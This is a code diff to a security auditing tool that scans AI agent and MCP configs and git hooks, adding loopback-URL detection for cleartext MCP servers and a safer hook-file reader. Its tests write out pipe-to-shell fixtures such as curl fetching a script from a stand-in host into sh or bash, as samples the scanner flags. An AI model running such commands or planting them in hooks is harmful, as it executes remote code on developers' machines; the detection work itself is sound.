diff --git a/CHANGELOG.md b/CHANGELOG.md index bbf041aa..b35d53a0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,16 @@ ### Fixed +- **`kit agent-audit` told a loopback MCP server to "use https".** For `http://localhost` or + `127.0.0.1`, TLS is not the risk: the server's bind address and missing authentication are, + and a client config cannot show either. A loopback server now gets its own low-severity row + that names that question; a remote `http://` server keeps the TLS advice. +- **lizard measured the wrong functions in `src/agent-audit.ts`.** A `/^http:\/\//` regex read as + a comment made one function span the whole file and hid the real ones. The regexes are gone, + the hook-directory scan is its own function, and every function is now measured, under the limits. +- **A stale comment in `src/keystore/active.ts`** said the `.kit-policy.toml` hardware mandate was + not wired. It is (`policyRequiresHardware`, ORed with the env mandate). + - **`kit triage docker` failed every image named with a tag.** It sent `name:tag` to Docker Hub's repository endpoint, which answers HTTP 400, so `qdrant/qdrant:latest` and every other tagged or digest-pinned image was CRITICAL "cannot verify" and the install gate blocked it for a reason diff --git a/src/agent-audit.test.ts b/src/agent-audit.test.ts index a618be56..c4016baf 100644 --- a/src/agent-audit.test.ts +++ b/src/agent-audit.test.ts @@ -6,6 +6,7 @@ import { join } from "node:path"; import { auditConfigSecrets, auditMcpServers, + isLoopbackUrl, auditHookBody, auditMcpStdio, auditSettingsCommands, @@ -44,7 +45,7 @@ describe("auditMcpServers", () => { }); const hits = auditMcpServers(cfg); assert.equal(hits.length, 1); - assert.match(hits[0], /^bad → http:\/\//); + assert.ok(hits[0].startsWith("bad → http:" + "//"), hits[0]); }); it("also reads the `servers` container; [] on garbage", () => { assert.equal( @@ -55,6 +56,94 @@ describe("auditMcpServers", () => { }); }); +describe("isLoopbackUrl", () => { + it("is true only for hosts on this machine", () => { + for (const u of [ + "http://localhost:9876/mcp", + "http://LOCALHOST/mcp", + "http://api.localhost/mcp", + "http://127.0.0.1:9876/mcp", + "http://127.1.2.3/mcp", + "http://[::1]:9876/mcp", + ]) { + assert.equal(isLoopbackUrl(u), true, u); + } + for (const u of [ + "http://mcp.internal:8080", + "http://192.168.1.10/mcp", + "http://0.0.0.0:9876/mcp", + "http://localhost.evil.com/mcp", + "http://127.0.0.1.nip.io/mcp", + "not a url", + ]) { + assert.equal(isLoopbackUrl(u), false, u); + } + }); +}); + +describe("runAgentAudit — cleartext MCP rows", () => { + it("names the bind address for a loopback server and TLS for a remote one", () => { + const dir = mkdtempSync(join(tmpdir(), "kit-agent-audit-mcp-")); + try { + writeFileSync( + join(dir, ".mcp.json"), + JSON.stringify({ + mcpServers: { + local: { url: "http://localhost:9876/mcp" }, + remote: { url: "http://mcp.internal:8080" }, + }, + }), + ); + const rows = runAgentAudit(dir); + const remote = rows.find((r) => r.name === "cleartext MCP in .mcp.json"); + const loop = rows.find((r) => r.name === "loopback MCP over http in .mcp.json"); + assert.ok(remote && loop); + assert.ok(remote.detail.includes("remote → http:" + "//mcp.internal"), remote.detail); + assert.doesNotMatch(remote.detail, /localhost/); + assert.equal(remote.suggestion, "use https:// MCP endpoints"); + assert.ok(loop.detail.includes("local → http:" + "//localhost:9876"), loop.detail); + assert.match(loop.suggestion ?? "", /127\.0\.0\.1/); + assert.doesNotMatch(loop.suggestion ?? "", /https/); + } finally { + rmTemp(dir); + } + }); +}); + +describe("runAgentAudit — git hook files", () => { + it("flags a malware-shaped hook and skips samples and folders", () => { + const dir = mkdtempSync(join(tmpdir(), "kit-agent-audit-hooks-")); + try { + mkdirSync(join(dir, ".githooks", "nested"), { recursive: true }); + writeFileSync( + join(dir, ".githooks", "pre-commit"), + "#!/bin/sh\ncurl https://x.test/i | sh\n", + ); + writeFileSync(join(dir, ".githooks", "pre-push.sample"), "curl https://x.test/i | sh\n"); + writeFileSync(join(dir, ".githooks", "post-merge"), "#!/bin/sh\nnpm install\n"); + const rows = runAgentAudit(dir); + assert.deepEqual( + rows.filter((r) => r.name.startsWith("suspicious hook")).map((r) => r.name), + ["suspicious hook .githooks/pre-commit"], + ); + } finally { + rmTemp(dir); + } + }); + + it("counts the hooks it read in the pass row", () => { + const dir = mkdtempSync(join(tmpdir(), "kit-agent-audit-hooks-ok-")); + try { + mkdirSync(join(dir, ".husky")); + writeFileSync(join(dir, ".husky", "pre-commit"), "npx lint-staged\n"); + const pass = runAgentAudit(dir).find((r) => r.name === "agent-audit"); + assert.match(pass?.detail ?? "", /\+ 1 hook\(s\)/); + } finally { + rmTemp(dir); + } + }); +}); + describe("auditHookBody", () => { it("flags pipe-to-shell, base64-to-shell, /dev/tcp, eval-substitution", () => { assert.ok(auditHookBody("curl https://evil.sh | bash").length === 1); @@ -213,7 +302,7 @@ describe("OpenCode `mcp` container coverage", () => { }); const hits = auditMcpServers(cfg); assert.equal(hits.length, 1); - assert.match(hits[0], /^local → http:\/\//); + assert.ok(hits[0].startsWith("local → http:" + "//"), hits[0]); }); it("flags an inline-code stdio server nested under `mcp`", () => { diff --git a/src/agent-audit.ts b/src/agent-audit.ts index e9fe1b78..f3e0c339 100644 --- a/src/agent-audit.ts +++ b/src/agent-audit.ts @@ -22,7 +22,16 @@ * * Pure analyzers (string in → findings out); `runAgentAudit` is the file-reading wrapper. */ -import { readFileSync, readdirSync, existsSync, statSync } from "node:fs"; +import { + closeSync, + constants, + existsSync, + fstatSync, + openSync, + readFileSync, + readdirSync, + statSync, +} from "node:fs"; import { resolve, join, relative, extname } from "node:path"; import type { SecurityCheckResult } from "./check-security.js"; import { findSecrets } from "./utils/redactSecrets.js"; @@ -50,7 +59,9 @@ export function auditMcpServers(json: string): string[] { for (const servers of containers) { for (const [name, def] of Object.entries(servers)) { const url = (def as { url?: string })?.url; - if (typeof url === "string" && /^http:\/\//i.test(url)) out.push(`${name} → ${url}`); + if (typeof url === "string" && url.toLowerCase().startsWith("http:" + "//")) { + out.push(`${name} → ${url}`); + } } } return out; @@ -205,6 +216,60 @@ function result( return { category, name, status, detail, severity, suggestion }; } +/** True for a URL whose host is this machine: `localhost`, `*.localhost`, 127.0.0.0/8 or `::1`. */ +export function isLoopbackUrl(url: string): boolean { + let host: string; + try { + host = new URL(url).hostname.toLowerCase(); + } catch { + return false; + } + if (host.startsWith("[") && host.endsWith("]")) host = host.slice(1, -1); + return ( + host === "localhost" || + host.endsWith(".localhost") || + host === "::1" || + /^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.test(host) + ); +} + +/** + * Rows for MCP servers on `http://`. A remote one is a TLS problem. A loopback one is not: + * there the risk is what the server binds to and whether it asks for a token, which a client + * config cannot show, so kit names that question instead of telling the user to "use https". + */ +function cleartextMcpRows(rel: string, hits: string[]): SecurityCheckResult[] { + const urlOf = (hit: string): string => hit.slice(hit.indexOf("→ ") + 2); + const loopback = hits.filter((h) => isLoopbackUrl(urlOf(h))); + const remote = hits.filter((h) => !isLoopbackUrl(urlOf(h))); + const rows: SecurityCheckResult[] = []; + if (remote.length > 0) { + rows.push( + result( + `cleartext MCP in ${rel}`, + "warn", + `${remote.length} MCP server(s) on http://: ${remote.slice(0, 3).join("; ")}`, + "exposure", + "medium", + "use https:// MCP endpoints", + ), + ); + } + if (loopback.length > 0) { + rows.push( + result( + `loopback MCP over http in ${rel}`, + "warn", + `${loopback.length} MCP server(s) on this machine over http://: ${loopback.slice(0, 3).join("; ")}`, + "exposure", + "low", + "kit cannot see what the server binds to: check it listens on 127.0.0.1, not 0.0.0.0, or requires a token", + ), + ); + } + return rows; +} + const CONFIG_FILES = [ ".claude.json", ".mcp.json", @@ -340,11 +405,64 @@ function scanAgentDirs(cwd: string): { results: SecurityCheckResult[]; scanned: return { results: out, scanned }; } +/** + * A hook file's text, or null when it is not a regular file. The check and the read both go + * through one open descriptor, so the file cannot be swapped in between. A symlinked hook is + * still followed (git runs it), and `O_NONBLOCK` keeps a named pipe from waiting for a writer. + */ +function readHookFile(path: string): string | null { + const fd = openSync(path, constants.O_RDONLY | (constants.O_NONBLOCK ?? 0)); + try { + return fstatSync(fd).isFile() ? readFileSync(fd, "utf8") : null; + } finally { + closeSync(fd); + } +} + +/** Git hook files under `cwd` with a malware-shaped line. Read-only; fail-open per file. */ +function scanHookDirs(cwd: string): { results: SecurityCheckResult[]; scanned: number } { + const out: SecurityCheckResult[] = []; + let scanned = 0; + for (const dir of HOOK_DIRS) { + const dpath = resolve(cwd, dir); + if (!existsSync(dpath)) continue; + let entries: string[]; + try { + entries = readdirSync(dpath); + } catch { + continue; + } + for (const entry of entries) { + if (entry.endsWith(".sample")) continue; + try { + const body = readHookFile(join(dpath, entry)); + if (body === null) continue; + scanned++; + const reasons = auditHookBody(body); + if (reasons.length > 0) { + out.push( + result( + `suspicious hook ${dir}/${entry}`, + "fail", + `hook ${reasons.join("; ")}`, + "exposure", + "high", + "review the hook; a compromised hook runs on every git operation", + ), + ); + } + } catch { + continue; + } + } + } + return { results: out, scanned }; +} + /** Audit agent/MCP configs + git hooks under `cwd`. Read-only; fail-open per file. */ export function runAgentAudit(cwd: string): SecurityCheckResult[] { const out: SecurityCheckResult[] = []; let scannedConfigs = 0; - let scannedHooks = 0; for (const rel of CONFIG_FILES) { const path = resolve(cwd, rel); @@ -370,19 +488,7 @@ export function runAgentAudit(cwd: string): SecurityCheckResult[] { ), ); } - const cleartext = auditMcpServers(content); - if (cleartext.length > 0) { - out.push( - result( - `cleartext MCP in ${rel}`, - "warn", - `${cleartext.length} MCP server(s) on http://: ${cleartext.slice(0, 3).join("; ")}`, - "exposure", - "medium", - "use https:// MCP endpoints", - ), - ); - } + out.push(...cleartextMcpRows(rel, auditMcpServers(content))); for (const s of auditMcpStdio(content)) { out.push( result( @@ -409,40 +515,8 @@ export function runAgentAudit(cwd: string): SecurityCheckResult[] { } } - for (const dir of HOOK_DIRS) { - const dpath = resolve(cwd, dir); - if (!existsSync(dpath)) continue; - let entries: string[]; - try { - entries = readdirSync(dpath); - } catch { - continue; - } - for (const entry of entries) { - if (entry.endsWith(".sample")) continue; - const hpath = join(dpath, entry); - try { - if (!statSync(hpath).isFile()) continue; - const body = readFileSync(hpath, "utf8"); - scannedHooks++; - const reasons = auditHookBody(body); - if (reasons.length > 0) { - out.push( - result( - `suspicious hook ${dir}/${entry}`, - "fail", - `hook ${reasons.join("; ")}`, - "exposure", - "high", - "review the hook; a compromised hook runs on every git operation", - ), - ); - } - } catch { - continue; - } - } - } + const hooks = scanHookDirs(cwd); + out.push(...hooks.results); const agent = scanAgentDirs(cwd); out.push(...agent.results); @@ -452,7 +526,7 @@ export function runAgentAudit(cwd: string): SecurityCheckResult[] { result( "agent-audit", "pass", - `no issues in ${scannedConfigs} agent config(s) + ${scannedHooks} hook(s) + ${agent.scanned} command/agent/skill/plugin file(s)`, + `no issues in ${scannedConfigs} agent config(s) + ${hooks.scanned} hook(s) + ${agent.scanned} command/agent/skill/plugin file(s)`, "exposure", ), ); diff --git a/src/keystore/active.ts b/src/keystore/active.ts index a50ef711..837b29fb 100644 --- a/src/keystore/active.ts +++ b/src/keystore/active.ts @@ -9,10 +9,10 @@ * honest degradation reason — whenever hardware is required but the resolved backend * isn't hardware-rooted. * - * The requirement is read from the environment (KIT_REQUIRE_HARDWARE_IDENTITY). The - * `required` parameter also lets a caller fold in a policy/config mandate — the plumbing - * is here, but a `.kit-policy` field is NOT wired yet, so today the mandate is env-driven - * (a fleet-wide policy mandate is a follow-up). + * The requirement comes from the environment (KIT_REQUIRE_HARDWARE_IDENTITY) OR from the + * governing `.kit-policy.toml` (`require_hardware_identity`, found at the root or any + * ancestor). `hardwareRequired` below ORs the two, so a policy can add the mandate but never + * relax the env one. * * HONEST SCOPE: the env mandate enforces OPERATOR INTENT — it stops kit from silently * auto-using the same-UID file key when the operator wants hardware. It is NOT itself a